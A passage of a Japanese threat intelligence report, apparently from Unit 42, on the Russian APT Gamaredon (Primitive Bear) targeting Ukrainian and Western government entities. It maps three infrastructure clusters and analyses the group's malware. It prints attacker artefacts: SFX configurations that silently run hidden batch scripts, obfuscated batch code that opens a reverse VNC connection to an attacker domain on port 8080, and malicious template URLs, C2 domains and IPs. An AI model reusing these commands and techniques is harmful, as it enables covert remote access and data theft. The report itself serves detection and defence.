[2022-02-16更新] ウクライナを標的に活動を強めるロシアGamaredon (別名Primitive Bear)APTグループ

A bear trap accompanied by symbols associated with Russia and Ukraine come together to form a conceptual image for Russia's Gamaredon, aka Primitive Bear, an APT targeting Ukraine.

This post is also available in: English (英語)

概要

11月以降、ロシアとウクライナの地政学的緊張が急激に高まっています。ロシアは現在ウクライナの東側国境に10万人以上の兵力を集結させていると言われており、これが次は侵攻が来るのではないかという推測につながっています。2022年1月14日、この紛争はサイバー領域にまで波及しており、ウクライナ政府は破壊的マルウェア(WhisperGate)の標的となり、OctoberCMSという別の脆弱性が悪用されて、複数のウクライナ政府のウェブサイトが改ざんされました。これらの事象のアトリビューション(帰属確認)は現在進行中で、ウクライナを標的とした最も活発な既存のAPT(持続的標的型攻撃)脅威の1つであるGamaredon(別名Primitive Bear)との関連性は確認されていませんが、紛争の進展にともない今後数週間でさらに悪意のあるサイバーアクティビティが発生することが予想されます。私たちはGamaredonの最近のアクティビティも確認してきました。本稿ではGamaredonグループの最新情報をお伝えします。

Gamaredonグループは、ロシアがクリミア半島を併合する直前の2013年以降、主にウクライナの政府関係者や組織を対象としたサイバーキャンペーンを展開してきました。2017年、Unit 42は同グループについての最初の研究をGamaredonグループのツールセットの進化として文書化してこのグループ名をつけましたが、長年にわたり、複数の研究者が同グループのオペレーションや標的選定活動がロシアの利益に合致するものであることを指摘しています。この関連性は、2021年11月4日、ウクライナ保安庁(SSU)が、クリミアのポストに配属されたロシア連邦保安庁(FSB)の5人の幹部が同グループのリーダーであると公式に帰属したことにより裏付けられました。同時にウクライナ保安庁は、このグループが採用するツールや活動ノウハウを文書化した最新のテクニカルレポートを発表しました。

現在の地政学的状況に、同APTグループの特異な標的選定を考慮し、Unit 42は彼らのオペレーションの指標を積極的に監視し続けています。その結果、異なるフィッシングやマルウェアの目的に使用されている3つの大きなインフラのクラスタを発見しました。これらのクラスタは、700以上の悪意のあるドメイン、215のIPアドレス、100以上のマルウェアサンプルにリンクしています。

これらのクラスタを監視したところ、2022年1月19日、在ウクライナ西側政府機関への侵害試行が確認されました。このほか、オープンソースのVNC(仮想ネットワークコンピューティング)ソフトウェアを利用したマルウェアテスト活動や、過去の技術の再利用の可能性が確認されました。以下のセクションでは、在ウクライナの標的対象となるエンティティやサイバーセキュリティ組織が同脅威グループから身を守るのに役立つよう私たちの調査結果の概要を説明します。

2022-02-16 更新:本稿の初版公開時、「私たちは、現在活動中のGamaredonインフラの3つの大きなクラスタをマッピングしましたが、このほかにも未発見のものがあると考えています。」としていましたがそれ以降Gamaredon関連のドメインをさらに数百個発見しました。これには既知の関連クラスタ、新たなクラスタの両方が含まれています。そこで侵害指標(IoC)セクションを更新し、これらの追加ドメインとクラスタの観測について追加しました。

観測されたテクニックやそれに対応してとるべき行動指針全体 (CoA) を視覚化した内容についてはUnit 42のATOMビューアからご確認ください。

パロアルトネットワークスのお客様は、 Cortex XDR次世代ファイアウォール向けのWildFireAutoFocusAdvanced URL FilteringDNS セキュリティの各サブスクリプションサービス製品により、本稿で取り上げた種類の脅威から保護されています。

Unit 42の関連トピック Gamaredon, APTs

目次

Gamaredon ダウンローダ インフラ(クラスタ1)
-クラスタ1の歴史
-初期ダウンローダ
-SFXファイルとUltraVNC
SSLピボットによる追加インフラとサンプル
ファイルスティーラ(クラスタ2)
Pteranodon (クラスタ3)
結論
-保護と緩和策
IoC
追加リソース

Gamaredon ダウンローダ インフラ(クラスタ1)

Gamaredonのアクターはインフラの構築・維持に興味深いアプローチをとっています。ほとんどのアクターは、帰属化される可能性を除くため、サイバーキャンペーン使用後のドメインを破棄します。しかしGamaredonのアプローチは、新しいインフラで一貫してドメインをローテーションすることで、ドメインをリサイクルしているように見えるという点でユニークです。その典型例はドメインlibre4[.]spaceに見てとれます。Gamaredonのキャンペーンで使用されたという証拠が、2019年の時点ですでに、あるリサーチャーによってフラグ付されていました。それ以降、Cisco TalosThreatbookも、このドメインをGamaredonに帰属するものであると断定しています。ところがこうしたアトリビューションの公表にもかかわらず、このドメインは日々新たなIPアドレス(インターネットプロトコルアドレス)に解決され続けています。

このスクリーンショットはGamaredonに関連するとされるドメインの解決先IPアドレスを示しています。これは、同APT攻撃グループが使用しているアプローチの典型例で、新たなインフラで一貫してドメインをローテーションさせて再利用しています。
図1 libre4[.]spaceの2022年1月27日時点の最新IPアドレス
リストの最初のIP (194.58.100[.]17) を起点にさらに調べると、まさにその同じ日にそのIPにローテーションされてパーキングされたドメインのクラスタが見つかります。

前の図(新しいインフラでのドメインのローテーションの例)の続きとなるこのスクリーンショットでは、あるドメインのクラスタが、すべてまったく同じ日に、単一のIPアドレスにローテーションされ、パークされたことを示しています。
図2 2022年1月27日に194.58.100[.]17に関連付けられたドメイン。
これらすべてのドメインとIPアドレスを軸にすべて調査したところ、約700のドメインを特定することができました。これらのドメインには、過去のサイバーキャンペーンでの使用によりすでにGamaredonへの帰属が公表されているドメインと、まだ使用されていない新しいドメインが混在しています。この2種類のあいだに境界線を引くには、最新インフラの追跡が求められます。

過去60日間にわたりこれらのドメインにリンクされていたIPアドレスに目を移すと、136個のユニークなIPアドレスが確認できます。興味深いことに、これらの136個のうち131個が、物理的にロシアに存在するAS 197695内でホストされていました。またこのASは、これらドメインのレジストラとして使用されているエンティティと同一のエンティティ、reg[.]ruによって運営されています。この合計IPアドレス数からすると、Gamaredonの悪質インフラのプールには、毎日およそ2つの新しいIPアドレスが導入されていることになります。このプールを監視すると、アクターは新しいドメインを有効化して数日間使用したのち、さまざまなIPインフラにローテーションされるドメインプールに、これらの新しいドメインを追加しているように見えます。この詐欺的アプローチで、サイバーセキュリティリサーチャーからの隠蔽工作として、いくぶん難読性をもたせることができます。

リサーチャーにとっては、フィッシングキャンペーンのあった正確な日に、ある特定ペイロードを、ドメインやそれらの解決先IPアドレスと関連付けることが難しくなります。さらに、Gamaredonの手法では、ダウンローダに埋め込まれたWebページのURL (uniform resource locator)ファイルパスが有限時間内しか機能しないため、アクターは自分のインフラでホストされている悪意のあるファイルにアクセスできる人をある程度コントロールすることができます。ドメインが新たなIPアドレスにローテーションされれば、URLのファイルパスを要求したマルウェアリサーチャーには「404 File Not Found」エラーが返されます。

クラスター1の歴史

現在のダウンローダインフラを中心に見ていくなかでこのクラスタの来歴をその2018年の起源にまで遡ることができました。前述のlibre4[.]spaceのような特定の「マーカー」となるドメインは現在もアクティブで、見た限り一貫して同じ所有者で2019年3月まで遡ることができます。2019年3月の同じ日付範囲で、185.158.114[.]107に向けられた、命名規則上関連性をもつドメインのクラスタが観測されました。このうちのいくつかは現在もこのクラスタでアクティブです。

あるIPアドレスに向けられた、命名規則上関連性をもつドメインのクラスタが観測されたことを示すスクリーンショット。このうちのいくつかは現在もこのクラスタでアクティブな状態になっている。
図3 185.158.114[.]107に向けられたドメインのクラスタ(2019年3月)
さらに時間をさかのぼってドメインを横断すると、2018年12月に195.88.209[.]136に向けられていた、bitsadmin[.]spaceという、このインフラクラスタにおける初期ドメインとおぼしきドメインが見つかります。

このスクリーンショットは、Gamaredonが使用していたインフラクラスタの初期ドメインとおぼしきドメインを示しています。
図4 初期ドメインのbitsadmin[.]space(2018年12月)
ここでこのドメインは、いくつかのダイナミックドメインネームシステムのドメイン(DDNS)と一緒にクラスタを形成していることがわかります。このクラスタではより最近のIPアドレスについてもダイナミックDNSドメインが観測されましたが、その後少なくともこのコンテキストでは利用されなくなったらしく、このクラスタに現在アクティブなDDNSは残っていません。

初期ダウンローダ

Gamaredonのインフラにリンクするサンプルを公開・非公開のマルウェアリポジトリで検索した結果、過去3カ月間に17のサンプルが確認されました。これらファイルの大半は在ウクライナのエンティティにより共有されたものか、ウクライナ語のファイル名が使用されていました。

ファイル名 翻訳
Максим.docx Maksim.docx
ПІДОЗРА РЯЗАНЦЕВА.docx RAZANTSEV IS SUSPICIOUS.docx
протокол допиту.docx interrogation protocol.docx
ТЕЛЕГРАММА.docx TELEGRAM.docx
2_Пам’ятка_про_процесуальні_права_та_обов’язки_потерпілого.docx 2_Memorial_about_processal_rights_and_obligations_of_the_ Victim.docx
2_Porjadok_do_nakazu_111_vid_13.04.2017.docx 2_Procedure_to_order_111_from_13.04.2017.docx
висновок тимошечкин.docx conclusion Timoshechkin.docx
Звіт на ДМС за червень 2021 (Автосохраненный).doc Report on the LCA for June 2021 (Autosaved) .doc
висновок Кличко.docx Klitschko's conclusion.docx
Обвинувальний акт ГЕРМАН та ін.docx Indictment GERMAN et al.docx
супровід 1-СЛ 10 місяців.doc support 1-SL 10 months.doc

表1 最近観測されたダウンローダのファイル名

これらのファイルを分析したところ、いずれもリモートテンプレートインジェクションの手法を利用しており、ドキュメントが開かれた時点で悪意のあるコードがダウンロードされることがわかりました。この手法だと、ほかの部分では良性の文書内で被害者に送り返すコンテンツをコントロールできます。これらの文書が使用するリモートテンプレート(.dot)ファイルのURLの最近のものの例は以下の通りです。

http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam
http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp
http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot
http://although.coferto[.]ru/[Redacted]/amazing.dot
http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl

Gamaredonのインフラでホストされているファイルの多くには、.cam.cdl.kdpなどの難解な拡張子が表示されます。これはウイルス対策サービスやURLスキャンサービスでこれらのファイルが露見・検出されないよう、アクターが意図的に仕組んだものと考えられます。

最初の2つhokoldar[.]rureapart[.]ruをさらに詳しく見てみると、最近の2つのフィッシングキャンペーンに関するユニークな洞察が得られます。パッシブDNSデータによると、1つめのドメインが他のGamaredonドメインと共有されたIPアドレスに最初に解決されたのが1月4日です。上の図2からは1月27日時点でhokoldar[.]rulibre4[.]spaceとIPアドレスを共有し続けていることがわかり、このドメインがやはりGamaredonのインフラプールと関連していることが示されています。この短い期間のなかで、1月19日には、在ウクライナ西側政府機関を狙った標的型フィッシング攻撃の試みが確認されました。

この侵害試行では、ダウンローダを標的に直接メールで送信するのではなく、ウクライナ国内の求人・求職サービスが利用されていました。そのさい、アクターは有効な求人情報を検索してダウンローダを履歴書としてアップロードし、求人検索プラットフォームを通じて西側政府機関に提供していました。このキャンペーンの手順やピンポイントな配信を考えると、これはGamaredonがこの西側政府組織を侵害するという特定の目的で意図的に侵害を試みたものであったとも考えられます。

この最近の事例以外に私たちはウクライナの国家移民局を対象としたGamaredonキャンペーンの公けになっている証拠を発見しました。12月1日、yana_gurina@ukr[.]netから6524@dmsu[.]gov.uaにあるメールが送信されました。メールの件名は「NOVEMBER REPORT」で、メールには「Report on the LCA for June 2021(Autosaved).doc」というファイルが添付されていました。このWord文書を開くとreapart[.]ruにアクセスします。そこから、glitter.kdpという名前の悪意のあるリモートWord文書テンプレートファイルをダウンロード・実行します。

ウクライナの国家移住局を標的としたGamaredonキャンペーンの公開された証拠に関連するメールのスクリーンショット
図5 6524@dmsu[.]gov.uaに送信されたメール
エストニア情報システム局(Estonian Information System Authority)のサイバーセキュリティ支部の一部門であるCERT Estonia (CERT-EE)は最近Gamaredonに関する記事を公開し、そのなかでこれらのリモートテンプレートファイルから返されるコンテンツについて取り上げました。このリモートテンプレートについて彼らの調査結果を要約すると、このリモートテンプレートはあるVBSスクリプトを取得・実行し、それによって永続的なコマンド&コントロール(C2)のチェックインを確立し、Gamaredonグループが次の段階に進む準備ができた時点で次のペイロードを取得するというものです。CERT-EEの事例では、このインフラは6時間後に再びアクティブになり、自己解凍形式(SFX)のアーカイブをダウンロードしました。

このSFXアーカイブのダウンロードは、Gamaredonグループの特徴といえるもので、同グループが被害者のコンピュータへのリモートアクセス維持に使うさまざまなオープンソースVNC(仮想ネットワークコンピューティング)ソフトウェアパッケージの配信手法として、長年観測されてきたものです。現在このグループはオープンソースのUltraVNCソフトウェアを好んで使用しているようです。

SFXファイルとUltraVNC

SFXファイルでは、他のファイルをアーカイブとしてパッケージ化し、ユーザーがパッケージを開いたときの動作を指定することができます。Gamaredonの場合、たいていはシンプルに、単純なBatchスクリプトとUltraVNCソフトウェアを含むパッケージをバンドルしています。この軽量VNCサーバーは他のシステムへのリバース接続(一般に「リバーストンネル」と呼ばれる)を開始するよう事前設定できるので、攻撃者は典型的なファイアウォール制限を回避可能です。リバース接続は一見すると攻撃者が開始したものではなく、被害者の存在するネットワーク内から来ているように見えます。この仕組みを説明するため、最近確認されたSFXファイル(SHA256:4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887)を順に見ていきます。

SFXファイルを作成するさい、アーカイブ抽出の成功時に実行すべきコマンドセットを指定するオプションが与えられます。Gamaredonの場合、SFXファイルの大半は、アーカイブに含まれるバッチファイルを起動します。場合によっては、アクターがアーカイブ内でファイルをシャッフルしてファイルの正体をわかりにくくしていることもありますが、通常は次のようなコマンドラインスイッチが見つかります。

;!@Install@!UTF-8!
InstallPath="%APPDATA%\\Drivers"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:34679.cmd"

これにより、ファイルが%APPDATA%\\Drivers に解凍され、非表示のコンソールでWindowsバッチファイル34679.cmdが実行されます。この期間に追跡したサンプルの大半では、hidcon (隠しコンソール)という接頭辞に続いて、cmdという拡張子を持つ4~5桁のファイル名が使用されていることが確認されました。

この特定のアーカイブには以下のファイルが含まれていました。

SHA256 ファイル名
695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa 34679.cmd
d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 MSRC4Plugin_for_sc.dsm
393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f QlpxpQpOpDpnpRpC.ini
ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c UltraVNC.ini
304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b YiIbIbIqIZIiIBI2.jpg
1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9 kqT5TMTETyTJT4TG.jpg
27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5 owxxxGxzxqxxxExw.jpg
3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b rc4.key

表2 サンプルのSFXアーカイブに含まれていたファイル

バッチファイルの変数名にはランダムな英数字が使われており、サンプルによって収集する情報や使用ドメイン、ファイル名は異なるものの、基本的にはVNCのリバース接続の開始という特定の機能を実行しています。このファイルの目的は目的のコマンド start "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080 を難読化し、実行することにあります。

34679.cmdファイルの内容。実行したいコマンドを難読化して実行するために使用される。
図6 上記サンプルの34679.cmdの内容

この事例で攻撃者は変数nRwuwCwBwYwbwEwIを2回設定していますが、これは以前のスクリプトからのコピーペーストによるものであると考えられます(後述)。この変数とそれに続く複数の変数では、マルウェアが偽装するプロセスの名前、被害者を追跡するための識別子、接続先となるリモート攻撃者のドメイン、VNCコマンドにドロップされるconnectという単語、VNC接続が使用するポート番号8080を指定しています。このアクターはあらゆる場面で、できるだけ長期間目立つことを控えて普通のユーザーのトラフィックに紛れ込もうとしています。

変数が設定されると、コマンドラインスクリプトはQlpxpQpOpDpnpRpC.iniを今回の実行用に選ばれた実行ファイル名としてコピーし、この名前を使用する正規プロセスを起動前に停止しようとします。.iniファイルの名前はアーカイブごとにランダムですが、そのほとんどはVNCサーバー自体の名前です。

前述のとおり、このVNCサーバーの利点は、付属の設定ファイル(UltraVNC.ini)をrc4.keyMSRC4Plugin_for_sc.dsmという2つのファイルとともに使い、通信を暗号化することで、ネットワーク検知ツールからの検出回避ができるという点にあります。

表2に示した3つの.jpgファイルは長い鍵でXORエンコードされているとおぼしきbase64エンコードデータで、これらが何に使われているかはまだ明らかになっていません。Gamaredonは過去にもこの手法を使ったことがありますが、これらは攻撃者がシステム接続時に解読できるようにステージングされたファイルである可能性が高いでしょう。

以下は別ファイルからのSFX起動パラメータで、このアクターのファイル名難読化手法を説明するものです。ただしステージングされたものである可能性があるこれらのファイルは、サンプルによっては存在していません。

InstallPath="%USERPROFILE%\\Contacts"
GUIMode="2"
SelfDelete="1"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp %USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd"
RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd"

これらのファイルを調査するなかで、同グループによる.cmdファイルの活発な開発活動を示すと思われる状況が観測でき、これがGamaredonグループのプロセスの一端を明らかにする上で役に立ちました。

具体的には、1月14日午前1時23分(グリニッジ標準時)頃から、攻撃者配下の同じVNCサーバーを指し示す、おそらくはドラフト版と思われる.cmdファイルが、VirusTotalにアップロードされる様子が観測されはじめました。当初これらのファイルはTorネットワーク経由でVirusTotalにアップロードされ、TCP(伝送制御プロトコル)の8080ポートを介し、プロセス名svchosstを使い、VNCの識別にMACアドレスの代わりにユーザーのWindowsセキュリティ識別子(SID)を利用していました。SFXファイルには、シンプルな1.exeという名前がついていました。

@for /f %%i in ('wmic useraccount where name^='%USERNAME%' get
sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i

set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=8080
set djM8MfMRM0M5MBM0=connect

その3分後、同じファイルがTor経由でアップロードされている様子が確認されましたが、今回アクターはポートを80/tcpに変更し、コードにバグが混入していたため、正常に実行できませんでした。変数の位置の変化にも注目してください。

set djM8MfMRM0M5MBM0=onnect
set r8JgJJJHJGJmJHJ5=%RANDOM%
set ZGVxVkVIVUVlVgVb=technec[.]org
set qgSjSdSaSsSiSGS3=svchosst
set AVlflclclZlPlYlI=80

このバグは設定されたonnectという値が原因です。リバースVNC接続の開始方法を確認すると、この値は-autorec%djM8MfMRM0M5MBM0% と-%djM8MfMRM0M5MBM0%の2箇所で使用されています。

start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe"
-autorec%djM8MfMRM0M5MBM0% -id:%r8JgJJJHJGJmJHJ5%
-%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlYlI%

この2つめのインスタンスには単語の正しい綴りに必要なcの値が含まれていないため無効なパラメータであることが表示されます。さらに3分後、アクターは2.exeというSFXファイルをアップロードしていました。中身はコンテンツにtestという単語を含むtest.cmdだけです。

その数分後、内容としてtest.cmdを含む2.exeが再びアップロードされましたが、今度は.cmdファイルの頭の部分が含まれていました。ただしアクターはVNC connect の文字列を入れ忘れていました。

ここから興味深いことが起こります。この約15分後には、中にtest.cmdを含むおなじみの2.exeがアップロードされましたが、今度はロシア国内のあるユーザーが公開IPアドレスから直接アップロードしていました。その後も、数分おきにアップロードが行われ、それぞれ前のバージョンとほんのわずかに異なるバージョンがアップロードされるというパターンが見られました。このファイルをアップロードした人物は、機能修正のために.cmdファイルを急ピッチかつ手動で修正しているように見えました(ただし、この一連のアップロードでこのアクターは修正に成功しませんでした)。

いくつかのドメインとIPアドレスがVNCサンプルにハードコードされていましたが、これらはドメインクラスタ1~3のいずれにも関連していませんでした(IoCリストに記載します)。

SSLピボットによる追加インフラとサンプル

クラスタ1のインフラの歴史を調査していたところ、クラスタ1に含まれるIPアドレス92.242.62[.]96と関連した自己署名証明書を発見しました。

Serial: 373890427866944398020500009522040110750114845760
SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
Issued: 2021-01-27
Expires: 2031-01-25
Common name: ip45-159-200-109.crelcom[.]ru

Crelcom LLCのIPアドレスのWHOISレコードはモスクワの住所に登録されていますが、そのIPアドレスを含むネットブロックに登録されている技術管理者は、クリミアのシンフェロポリの住所に登録されています。さらに私たちは、Crelomの見かけ上の起源がクリミアのシンフェロポリにあることも追跡しました。

この証明書は79個のIPアドレスに関連しています。

  • Common Name(コモンネーム)のIPアドレス: Gamaredonのドメインなし
  • 1つのIPアドレス(92.242.62[.]96)が上記「クラスタ1」にリンクしている
  • 76個のIPアドレスが別の独立ドメインクラスタ(クラスタ2)とリンクしている
  • 1つのIPアドレス(194.67.116[.]67)がさらに別の独立クラスタ(クラスタ3)へとつながる

これら3つのクラスタ間にはほぼIPアドレスの重複が見られませんでした。

ファイルスティーラ(クラスタ2)

クラスタ2と関連する76個のIPアドレスのうち70個のIPアドレスについて、Gamaredonのファイルスティーラツールの亜種に関連するC2ドメインとのリンクが確認されています。私たちはこの3ヶ月間で同マルウェアのサンプルを23個確認していますがこのうち12個はウクライナのエンティティが共有したもののようです。それらのサンプルに含まれるC2ドメインは以下の通りです。

ドメイン 初認
jolotras[.]ru 12/16/2021
moolin[.]ru 10/11/2021
naniga[.]ru 9/2/2021
nonimak[.]ru 9/2/2021
bokuwai[.]ru 9/2/2021
krashand[.]ru 6/17/2021
gorigan[.]ru 5/25/2021

表3 最近のファイルスティーラのC2ドメイン

表には、設立後何ヶ月もたっているドメインが含まれています。これらのドメインは、古いにもかかわらず、良性というレピュテーションを維持しています。たとえば、VirusTotalでドメインkrashand[.]ruを悪意のあるものと判断しているベンダは93社中5社しかありません。

設立後何ヶ月もたった古いものなのに良性というレピュテーションを維持しているドメインのサンプル(1月27日現在、VirusTotalではベンダ93社中5社のみが悪意あるドメインとみなしている)。
図7 VirusTotalのkrashand[.]ruの結果(2022年1月27日時点)
これらのドメインのパッシブDNS(pDNS)ログを確認すると、それぞれのドメインと関連する長いサブドメインリストがすぐに見つかります。これらサブドメインのなかには標準化されたパターンに従ったものがあります。たとえば、いくつかのドメインでは、アルファベットの最初の数文字(abc)を繰り返し組み合わせて使用しています。逆に、jolotras[.]rumoolin[.]ruは、ランダムな英数字を使用しています。これらのサブドメインは、ファイルスティーラがC2サーバーとの初回接続確立時に、動的に生成しているものと考えられます。ということは、特定C2ドメインに関連するサブドメイン数をカウントすれば、そのサーバーへの接続を試みたエンティティ数を大まかに把握できることになります。ただし、pDNSのエントリ数は、特定C2ドメインに関連する悪意のあるサンプルを評価しているリサーチャーやサイバーセキュリティ製品によって偏る可能性がある点には注意が必要です。

サブドメイン
637753576301692900[.]jolotras.ru
637753623005957947[.]jolotras[.]ru
637755024217842817.jolotras[.]ru
a.nonimak[.]ru
aaaa.nonimak[.]ru
aaaaa.nonimak[.]ru
aaaaaa.nonimak[.]ru
0enhzs.moolin[.]ru
0ivrlzyk.moolin[.]ru
0nxfri.moolin[.]ru

表4 ファイルスティーラ用インフラのサブドメイン命名則

これらのドメインを対応するC2インフラにマッピングしたところ、ドメインの指し示すIPアドレスという点で重複が見られることがわかりました。これにより、次のアクティブなインフラを確認することができました。

IPアドレス 初認
194.58.92[.]102 1/14/2022
37.140.199[.]20 1/10/2022
194.67.109[.]164 12/16/2021
89.108.98[.]125 12/26/2021
185.46.10[.]143 12/15/2021
89.108.64[.]88 10/29/2021

表5 最近のファイルスティーラのIPインフラ

注目すべきは、ファイルスティーラのインフラはすべて、先に紹介したAS197695内にホストされていることです。歴史的に見るとこれらのC2ドメインは世界中のさまざまなASを指していました。しかし、11月初旬の時点ですでに、このアクターはファイルスティーラのインフラをすべてロシア国内のAS(主にこのAS)に集約したようです。

このインフラの利用パターンをマッピングしてみると、前述のダウンローダインフラ同様、IPアドレス間でドメインがローテーションされていることがわかりました。ある悪性ドメインは、今日はあるC2サーバーのIPアドレスを指していても、明日は別のアドレスを指しているかもれないということです。これにより複雑性と難読性が高まってネットワーク防御側による感染ネットワークからのマルウェア識別・除去がいくぶん難しくなります。そのため防御側がネットワークログ内からC2ドメインを見つけるには、ネットワークトラフィックを検索し、悪性ドメインの解決先IPアドレスの時系列の全リストを探す必要があります。例としてmoolin[.]ruは10月初旬から11個のIPアドレスに解決しており、これが数日ごとに新しいIPにローテーションしています。

IPアドレス 国名 AS 初認 終認
194.67.109[.]164 RU 197695 2021-12-28 2022-01-27
185.46.10[.]143 RU 197695 2021-12-16 2021-12-26
212.109.199[.]204 RU 29182 2021-12-15 2021-12-15
80.78.241[.]253 RU 197695 2021-11-19 2021-12-14
89.108.78[.]82 RU 197695 2021-11-16 2021-11-18
194.180.174[.]46 MD 39798 2021-11-15 2021-11-15
70.34.198[.]226 SE 20473 2021-10-14 2021-10-30
104.238.189[.]186 FR 20473 2021-10-13 2021-10-14
95.179.221[.]147 FR 20473 2021-10-13 2021-10-13
176.118.165[.]76 RU 43830 2021-10-12 2021-10-13

表6 最近のファイルスティーラのIPインフラ

マルウェア自体に目を移すと、これらのファイルスティーラサンプルはあるユニークな方法でC2インフラストラクチャに接続しています。C2ドメインに直接接続するのではなく、DNSルックアップを実行してドメインをIPアドレスに変換し、変換後はそのIPアドレスに対して直接HTTPS接続を確立します。たとえば次のようになります。

C2ドメイン: moolin[.]ru
C2のIPアドレス: 194.67.109[.]164
C2通信: https://194.67.109[.]164/zB6OZj6F0zYfSQ

ドメインと物理的C2インフラ間に距離をおくこの手法はURLフィルタリングを回避するためのものと思われます。

  1. ドメイン自体はC2サーバーのIPアドレスを解決する最初のDNSリクエストでのみ使用され、ドメイン名を使用しての実際の接続は試みられません。
  2. ドメインを特定してブロックしても、マルウェアが実行され続ける限り既存の侵害には影響しません。その後ドメインが削除されたり、新しいIPに変更されたりしても、マルウェアはそのIPアドレスを使用してC2サーバと直接通信し続けるためです。

最近分析したファイルスティーラのサンプル(SHA256:f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824)は、分析しにくいように難読化された.NETバイナリであることが判明しました。これらのファイルを見ると、まずその大きさに驚かされます。この特定ファイルのサイズは136MBを超えていますが、200MB以上のファイルも確認されています。これは、サンドボックスによる自動分析を回避しようとしたものである可能性があります。通常はこのような大きなファイルのスキャンは避けられるためです。単に使用した難読化ツールの副産物としてファイルサイズが大きくなった可能性もあります。ファイルサイズが大きい理由が何であれ、攻撃者は、このサイズの実行ファイルはレビュー時に目立ってしまうという代償を払うことになります。これほど大きなファイルを被害者に送るのはより困難な作業となります。

このサンプルの難読化は比較的シンプルで、主に配列を定義して1文字の文字列を何百行にもわたって大量に連結することで、ノイズの中に実際の文字列構造を隠そうとします。

私たちが分析したGamaredonファイルスティーラのサンプル内の難読化は比較的シンプルで、主に配列を定義して1文字の文字列を何百行にもわたって大量に連結することで、ここに示した例のように、実際の文字列の構造をノイズの中に隠そうとしています。
図8 IconsCache.dbという文字列を組み立ててtext変数に格納

まずGlobal\lCHBaUZcohRgQcOfdIFafというミューテックスの存在有無確認から開始します。ミューテックスが存在すればマルウェアがすでに実行されていることを意味するため、ファイルスティーラを終了させます。次に、C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\iconsというフォルダを作成し、ここに1分おきに撮影したスクリーンショットをYYYY-MM-DD-HH-MM.jpgという形式で格納してC2サーバーに送信します。

C2サーバーのIPアドレスを特定するため、ファイルスティーラは9lGo990cNmjxzWrDykSJbV.jolotras[.]ruのような8~23文字の長さの英数字からなるランダムな文字列を生成します。

前述のとおり、IPアドレスの取得後はこのドメイン名は使われなくなります。代わりに全通信をIPアドレスで直接行います。

実行時、ファイルスティーラは対象のコンピュータに接続されているすべての固定ドライブとネットワークドライブを検索し、以下の拡張子を探します。

.doc
.docx
.xls
.rtf
.odt
.txt
.jpg
.pdf
.ps1

システム上のファイルのリストを取得すると、それぞれのファイルに対して、ファイルのパス、ファイルのサイズ、ファイルが最後に書き込まれた時間を含む文字列の作成を開始します(以下その例)。

C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM

ファイルスティーラはこの文字列を受け取り、MD5ハッシュを生成します。この例では次のような出力になります。

FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA

次にハッシュからハイフンを除去してすべての大文字を小文字に変換します。これらのMD5ハッシュは C:\Users\%USER%\AppData\Local\IconsCache.dbというファイルに保存されます。このファイルの命名は正規のIconCache.dbのすぐそばに置くことで違和感をもたせまいとするもう1つの試みです。

C:\Users\%USER%\AppData\Local\IconsCache.dbというMD5ハッシュを格納したファイルの内容を表すスクリーンショット。
図9 IconsCache.dbの内容

このマルウェアはこの.dbファイルを使って一意なファイルを追跡します。

その後このマルウェアは、前述のmoolin[.]ruドメインの例で説明したDNSからIPへの変換技術を使い、C2通信用に英数字でURLパスを生成します。

https://194.67.109[.]164/zB6OZj6F0zYfSQ

現在、クラスタ2のIPアドレスに解決しているドメインの全リストは以下の通りです。

ドメイン 登録日
jolotras[.]ru 12/16/2021
moolin[.]ru 10/11/2021
bokuwai[.]ru 9/2/2021
naniga[.]ru 9/2/2021
nonimak[.]ru 9/2/2021
bilargo[.]ru 7/23/2021
krashand[.]ru 6/17/2021
firtabo[.]ru 5/28/2021
gorigan[.]ru 5/25/2021
firasto[.]ru 5/21/2021
myces[.]ru 2/24/2021
teroba[.]ru 2/24/2021
bacilluse[.]ru 2/15/2021
circulas[.]ru 2/15/2021
megatos[.]ru 2/15/2021
phymateus[.]ru 2/15/2021
cerambycidae[.]ru 1/22/2021
coleopteras[.]ru 1/22/2021
danainae[.]ru 1/22/2021

7クラスタ2の全ドメイン

Pteranodon (クラスタ3)

先のSSL証明書と関連する残り1つのIPアドレスは、クラスタ1ともクラスタ2とも関連しておらず、3つ目の独立したドメインクラスタにつながっていました。

